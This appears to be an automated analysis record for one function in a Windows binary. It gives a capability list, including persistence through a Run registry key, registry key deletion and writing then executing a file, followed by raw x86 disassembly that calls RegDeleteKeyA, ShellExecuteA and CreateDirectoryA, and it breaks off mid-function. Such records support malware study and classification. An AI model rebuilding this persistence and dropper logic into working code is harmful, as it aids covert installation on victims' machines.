Function at 0x45f130
Capabilities:
Check os version
Create directory
Create process on windows
Delete registry key
Get disk information
Persist via run registry key
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x2e
push 0
push 0
dec ecx
jne 0x45f138
push ecx
push ebx
push esi
push edi
mov edi, 0x467048
mov esi, 0x467080
mov ebx, 0x4670cb
xor eax, eax
push ebp
push 0x4607a8
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [0x4670cc], 0x66
jne 0x45f1d0
mov eax, esi
mov edx, 0x4607c0
call fcn.004045b8
mov eax, dword [0x465198]
push eax
push 0x400
lea eax, [ebp - 4]
push eax
mov ecx, 0x460890
mov edx, 0x4608a0
mov eax, 0x80000002
call fcn.00408e08
mov edx, dword [ebp - 4]
mov eax, 0x467054
call fcn.004045b8
cmp byte [0x4670c9], 0
jne 0x45f1d0
mov eax, esi
mov edx, 0x4608e8
call fcn.004045b8
push 0x2710
call sub.kernel32.dll_Sleep
mov eax, dword [0x467054]
call fcn.00408ca8
mov byte [ebx], al
mov eax, esi
mov edx, 0x4607c0
call fcn.004045b8
mov edx, 0x4608a0
mov ecx, 0x460890
mov eax, 0x80000002
call fcn.004092d0
lea eax, [ebp - 8]
call fcn.00408b4c
mov edx, dword [ebp - 8]
mov eax, 0x467044
call fcn.004045b8
lea eax, [ebp - 0xc]
call fcn.00408bb8
mov edx, dword [ebp - 0xc]
mov eax, edi
call fcn.004045b8
mov eax, esi
mov edx, 0x460950
call fcn.004045b8
mov eax, 0x46704c
mov ecx, 0x4609a8
mov edx, dword [edi]
call fcn.00404870
mov eax, dword [0x467054]
call fcn.00404824
test eax, eax
jne 0x45f253
mov eax, 0x467054
mov ecx, 0x4609b8
mov edx, dword [edi]
call fcn.00404870
mov eax, 0x464e80
mov ecx, dword [0x464e80]
mov edx, dword [edi]
call fcn.00404870
mov eax, esi
mov edx, 0x4609c8
call fcn.004045b8
mov eax, 0x46703c
mov ecx, 0x460a68
mov edx, dword [0x464e80]
call fcn.00404870
mov eax, esi
mov edx, 0x460a7c
call fcn.004045b8
mov eax, 0x467040
mov ecx, 0x460b30
mov edx, dword [0x464e80]
call fcn.00404870
xor eax, eax
mov dword [0x4670d0], eax
call fcn.004625e0
mov eax, esi
mov edx, 0x460b44
call fcn.004045b8
cmp byte [0x4670c9], 0
je 0x45f531
mov eax, 0x460bdc
call fcn.004081dc
push 0xbb8
call sub.kernel32.dll_Sleep
call fcn.00408d28
lea eax, [ebp - 0x10]
mov ecx, 0x460bf4
mov edx, dword [edi]
call fcn.00404870
mov eax, dword [ebp - 0x10]
call fcn.00408090
lea eax, [ebp - 0x14]
mov ecx, 0x460c08
mov edx, dword [edi]
call fcn.00404870
mov eax, dword [ebp - 0x14]
call fcn.00408090
mov eax, dword [0x46703c]
call fcn.00408090
mov eax, esi
mov edx, 0x460c1c
call fcn.004045b8
mov ecx, 0x4609b8
mov edx, 0x460c60
mov eax, 0x80000002
call fcn.004092d0
mov ecx, 0x4609b8
mov edx, 0x460c98
mov eax, 0x80000002
call fcn.004092d0
mov ecx, 0x4609b8
mov edx, 0x460cd8
mov eax, 0x80000001
call fcn.004092d0
mov edx, 0x460c60
mov ecx, 0x460d20
mov eax, 0x80000001
call fcn.004092d0
mov edx, 0x460cd8
mov ecx, 0x460d30
mov eax, 0x80000002
call fcn.004092d0
lea eax, [ebp - 0x18]
mov ecx, 0x460d40
mov edx, dword [edi]
call fcn.00404870
mov eax, dword [ebp - 0x18]
call fcn.00408090
lea eax, [ebp - 0x1c]
mov ecx, 0x460d54
mov edx, dword [edi]
call fcn.00404870
mov eax, dword [ebp - 0x1c]
call fcn.00408090
mov eax, esi
mov edx, 0x460d68
call fcn.004045b8
lea eax, [ebp - 0x20]
mov ecx, 0x460e0c
mov edx, dword [edi]
call fcn.00404870
mov eax, dword [ebp - 0x20]
call fcn.00408090
lea eax, [ebp - 0x24]
mov ecx, 0x460e20
mov edx, dword [edi]
call fcn.00404870
mov eax, dword [ebp - 0x24]
call fcn.00408090
lea eax, [ebp - 0x28]
mov ecx, 0x460e34
mov edx, dword [edi]
call fcn.00404870
mov eax, dword [ebp - 0x28]
call fcn.00408090
lea eax, [ebp - 0x2c]
mov ecx, 0x460e48
mov edx, dword [edi]
call fcn.00404870
mov eax, dword [ebp - 0x2c]
call fcn.00408090
lea eax, [ebp - 0x30]
mov ecx, 0x460e5c
mov edx, dword [edi]
call fcn.00404870
mov eax, dword [ebp - 0x30]
call fcn.00408090
push 0x460e68
push 0x80000002
call sub.advapi32.dll_RegDeleteKeyA
push 0x460e94
push 0x80000002
call sub.advapi32.dll_RegDeleteKeyA
mov eax, 0x460edc
call fcn.0045d148
mov eax, esi
mov edx, 0x460ee8
call fcn.004045b8
mov eax, 0x460f10
call fcn.0045d148
mov eax, esi
mov edx, 0x460f1c
call fcn.004045b8
mov eax, 0x460fa0
call fcn.0045d148
mov eax, esi
mov edx, 0x460fac
call fcn.004045b8
mov eax, dword [0x467040]
call fcn.00408090
mov eax, esi
mov edx, 0x461038
call fcn.004045b8
push 0x200040
push 0x46110c
push 0x461124
lea edx, [ebp - 0x38]
mov eax, 0x90
call fcn.00407994
push dword [ebp - 0x38]
push 0x461130
lea eax, [ebp - 0x34]
mov edx, 3
call fcn.004048e4
mov eax, dword [ebp - 0x34]
call fcn.00404a24
push eax
push 0
call sub.user32.dll_MessageBoxA_1
push 1
push 0
push 0
mov ecx, 0x460bdc
lea eax, [ebp - 0x3c]
mov edx, dword [edi]
call fcn.00404870
mov eax, dword [ebp - 0x3c]
call fcn.00404a24
push eax
push 0x461148
push 0
call sub.shell32.dll_ShellExecuteA
call fcn.004080e8
jmp 0x46078a
push 0
mov eax, dword [0x464e80]
call fcn.00404a24
push eax
call sub.kernel32.dll_CreateDirectoryA
call sub.kernel32.dll_GetVersion_1
and eax, 0xffff
and eax, 0xff
cmp ax, 5
setb byte [0x4670c8]
cmp byte [0x4670c8], 0
je 0x45f56b
call fcn.004085bc
mov eax, esi
mov edx, 0x4611d8
call fcn.004045b8
mov eax, dword [0x465198]
push eax
mov edx, 0x4608a0
mov ecx, 0x46126c
mov eax, 0x80000002
call fcn.00408d54
push eax
call fcn.00407bec
pop edx
sub eax, edx
cmp eax, 0x1e
jl 0x46078a
mov eax, esi
mov edx, 0x461278
call fcn.004045b8
lea edx, [ebp - 0x40]
mov eax, dword [0x467054]
call fcn.00407c1c
mov edx, dword [ebp - 0x40]
mov eax, 0x467058
call fcn.004045b8
call fcn.00402aa8
lea edx, [ebp - 0x44]
mov eax, 0x46131c
call fcn.00408670
mov edx, dword [ebp - 0x44]
mov eax, 0x467084
call fcn.004045b8
mov eax, 0x467050
mov edx, 0x46134c
call fcn.004045b8
lea eax, [ebp - 0x4c]
mov ecx, dword [0x467050]
mov edx, 0x461368
call fcn.00404870
mov eax, dword [ebp - 0x4c]
lea edx, [ebp - 0x48]
call fcn.00408670
mov edx, dword [ebp - 0x48]
mov eax, 0x467088
call fcn.004045b8
mov eax, esi
mov edx, 0x46137c
call fcn.004045b8
push 1
push 0x96
push 0x222e1
mov ecx, 0x460d40
lea eax, [ebp - 0x50]
mov edx, dword [edi]
call fcn.00404870
mov edx, dword [ebp - 0x50]
mov cl, 1
mov eax, dword [0x467054]
call fcn.00407de0
mov byte [ebx], al
mov ecx, 0x460d40
lea eax, [ebp - 0x54]
mov edx, dword [edi]
call fcn.00404870
mov eax, dword [ebp - 0x54]
call fcn.00408ca8
mov byte [ebx], al
mov eax, dword [0x465198]
push eax
mov edx, 0x4608a0
mov ecx, 0x4613c4
mov eax, 0x80000002
call fcn.00408d54
mov dword [0x4670c0], eax
cmp dword [0x4670c0], 0x90
jge 0x45f78b
cmp byte [ebx], 0
jne 0x45f6fb
mov ecx, 0x460d40
lea eax, [ebp - 0x58]
mov edx, dword [edi]
call fcn.00404870
mov edx, dword [ebp - 0x58]
mov eax, dword [0x467054]
call fcn.00404970
je 0x45f6fb
mov eax, 0x460d40
call fcn.004081dc
push 1
push 0x96
push 0x222e1
mov ecx, 0x460d40
lea eax, [ebp - 0x5c]
mov edx, dword [edi]
call fcn.00404870
mov edx, dword [ebp - 0x5c]
mov cl, 1
mov eax, dword [0x467054]
call fcn.00407de0
mov byte [ebx], al
mov eax, esi
mov edx, 0x4613d4
call fcn.004045b8
cmp byte [ebx], 0
je 0x45f78b
push 0x90
mov ecx, 0x4613c4
mov edx, 0x4608a0
mov eax, 0x80000002
call fcn.00408fcc
mov byte [ebx], al
cmp dword [0x4670c0], 0
jle 0x45f751
lea edx, [ebp - 0x60]
mov eax, dword [0x4670c0]
call fcn.00407994
mov ecx, dword [ebp - 0x60]
mov eax, 0x467050
mov edx, 0x461498
call fcn.00404870
jmp 0x45f75b
mov eax, 0x467050
call fcn.00404564
push 0x4614a8
lea edx, [ebp - 0x68]
mov eax, 0x90
call fcn.00407994
push dword [ebp - 0x68]
push dword [0x467050]
lea eax, [ebp - 0x64]
mov edx, 3
call fcn.004048e4
mov eax, dword [ebp - 0x64]
call fcn.004627dc
mov eax, esi
mov edx, 0x460a7c
call fcn.004045b8
call fcn.0044fac4
push 1
push 0x96
push 0x222e1
mov ecx, 0x460d54
lea eax, [ebp - 0x6c]
mov edx, dword [edi]
call fcn.00404870
mov edx, dword [ebp - 0x6c]
xor ecx, ecx
mov eax, dword [0x467054]
call fcn.00407de0
mov byte [ebx], al
mov ecx, 0x460d54
lea eax, [ebp - 0x70]
mov edx, dword [edi]
call fcn.00404870
mov eax, dword [ebp - 0x70]
call fcn.00408ca8
mov byte [ebx], al
mov eax, esi
mov edx, 0x460d68
call fcn.004045b8
push 1
push 0x96
push 0x222e1
mov ecx, 0x460e0c
lea eax, [ebp - 0x74]
mov edx, dword [edi]
call fcn.00404870
mov edx, dword [ebp - 0x74]
xor ecx, ecx
mov eax, dword [0x467054]
call fcn.00407de0
mov byte [ebx], al
mov ecx, 0x460e0c
lea eax, [ebp - 0x78]
mov edx, dword [edi]
call fcn.00404870
mov eax, dword [ebp - 0x78]
call fcn.00408ca8
mov byte [ebx], al
mov ecx, 0x460e48
lea eax, [ebp - 0x7c]
mov edx, dword [edi]
call fcn.00404870
mov eax, dword [ebp - 0x7c]
call fcn.00407e74
test al, al
jne 0x45f8d3
push 1
push 0
push 0x222e1
mov ecx, 0x460e48
lea eax, [ebp - 0x80]
mov edx, dword [edi]
call fcn.00404870
mov eax, dword [ebp - 0x80]
push eax
mov ecx, 0x460e20
lea eax, [ebp - 0x84]
mov edx, dword [edi]
call fcn.00404870
mov eax, dword [ebp - 0x84]
xor ecx, ecx
pop edx
call fcn.00407de0
mov byte [ebx], al
push 1
push 0
push 0x222e1
mov ecx, 0x460e5c
lea eax, [ebp - 0x88]
mov edx, dword [edi]
call fcn.00404870
mov eax, dword [ebp - 0x88]
push eax
mov ecx, 0x460e34
lea eax, [ebp - 0x8c]
mov edx, dword [edi]
call fcn.00404870
mov eax, dword [ebp - 0x8c]
xor ecx, ecx
pop edx
call fcn.00407de0
mov byte [ebx], al
mov ecx, 0x460e20
lea eax, [ebp - 0x90]
mov edx, dword [edi]
call fcn.00404870
mov eax, dword [ebp - 0x90]
call fcn.00407e74
test al, al
jne 0x45f980
push 1
push 0
push 0x222e1
mov ecx, 0x460e20
lea eax, [ebp - 0x94]
mov edx, dword [edi]
call fcn.00404870
mov eax, dword [ebp - 0x94]
push eax
mov ecx, 0x460e48
lea eax, [ebp - 0x98]
mov edx, dword [edi]
call fcn.00404870
mov eax, dword [ebp - 0x98]
xor ecx, ecx
pop edx
call fcn.00407de0
mov byte [ebx], al
push 1
push 0
push 0x222e1
mov ecx, 0x460e34
lea eax, [ebp - 0x9c]
mov edx, dword [edi]
call fcn.00404870
mov eax, dword [ebp - 0x9c]
push eax
mov ecx, 0x460e5c
lea eax, [ebp - 0xa0]
mov edx, dword [edi]
call fcn.00404870
mov eax, dword [ebp - 0xa0]
xor ecx, ecx
pop edx
call fcn.00407de0
mov byte [ebx], al
mov eax, dword [0x467054]
call fcn.00408ca8
mov byte [ebx], al
mov ecx, 0x460e20
lea eax, [ebp - 0xa4]
mov edx, dword [edi]
call fcn.00404870
mov eax, dword [ebp - 0xa4]
call fcn.00408ca8
mov byte [ebx], al
mov ecx, 0x460e34
lea eax, [ebp - 0xa8]
mov edx, dword [edi]
call fcn.00404870
mov eax, dword [ebp - 0xa8]
call fcn.00408ca8
mov byte [ebx], al
mov eax, esi
mov edx, 0x4614bc
call fcn.004045b8
mov ecx, 0x460e48
lea eax, [ebp - 0xac]
mov edx, dword [edi]
call fcn.00404870
mov eax, dword [ebp - 0xac]
call fcn.00408ca8
mov byte [ebx], al
mov ecx, 0x460e5c
lea eax, [ebp - 0xb0]
mov edx, dword [edi]
call fcn.00404870
mov eax, dword [ebp - 0xb0]
call fcn.00408ca8
mov byte [ebx], al
mov eax, esi
mov edx, 0x461518
call fcn.004045b8
call fcn.0045afcc
mov eax, 0x460edc
call fcn.0045b820
mov eax, esi
mov edx, 0x461540
call fcn.004045b8
mov eax, 0x460f10
call fcn.0045b820
mov eax, 0x460fa0
call fcn.0045b820
mov eax, esi
mov edx, 0x461158
call fcn.004045b8
mov eax, 0x46156c
call fcn.0045b820
push 0
push 0
push 0x4670c4
mov ecx, 0x4504f4
xor edx, edx
xor eax, eax
call fcn.00404520
mov eax, esi
mov edx, 0x4613d4
call fcn.004045b8
push 0
push 0
push 0x4670c4
mov ecx, 0x44f41c
xor edx, edx
xor eax, eax
call fcn.00404520
mov ecx, 0x460d40
mov eax, 0x467050
mov edx, dword [edi]
call fcn.00404870
mov eax, dword [0x467050]
mov edx, dword [0x467054]
call fcn.00404970
je 0x45fb0c
mov ecx, 0x460d54
lea eax, [ebp - 0xb4]
mov edx, dword [edi]
call fcn.00404870
mov eax, dword [ebp - 0xb4]
mov edx, dword [0x467054]
call fcn.00404970
je 0x45fb0c
mov ecx, 0x460e0c
lea eax, [ebp - 0xb8]
mov edx, dword [edi]
call fcn.00404870
mov eax, dword [ebp - 0xb8]
mov edx, dword [0x467054]
call fcn.00404970
jne 0x45fb18
mov eax, 0x467050
call fcn.00404564
jmp 0x45fb2d
mov eax, 0x467050
mov ecx, dword [0x467054]
mov edx, 0x461578
call fcn.00404870
mov al, byte [0x4670cc]
sub al, 0x64
je 0x45fb40
dec al
je 0x45fb57
dec al
je 0x45fb6e
jmp 0x45fb83
mov eax, 0x467050
mov ecx, dword [0x467050]
mov edx, 0x461584
call fcn.00404870
jmp 0x45fb83
mov eax, 0x467050
mov ecx, dword [0x467050]
mov edx, 0x461590
call fcn.00404870
jmp 0x45fb83
mov eax, 0x467050
mov ecx, dword [0x467050]
mov edx, 0x46159c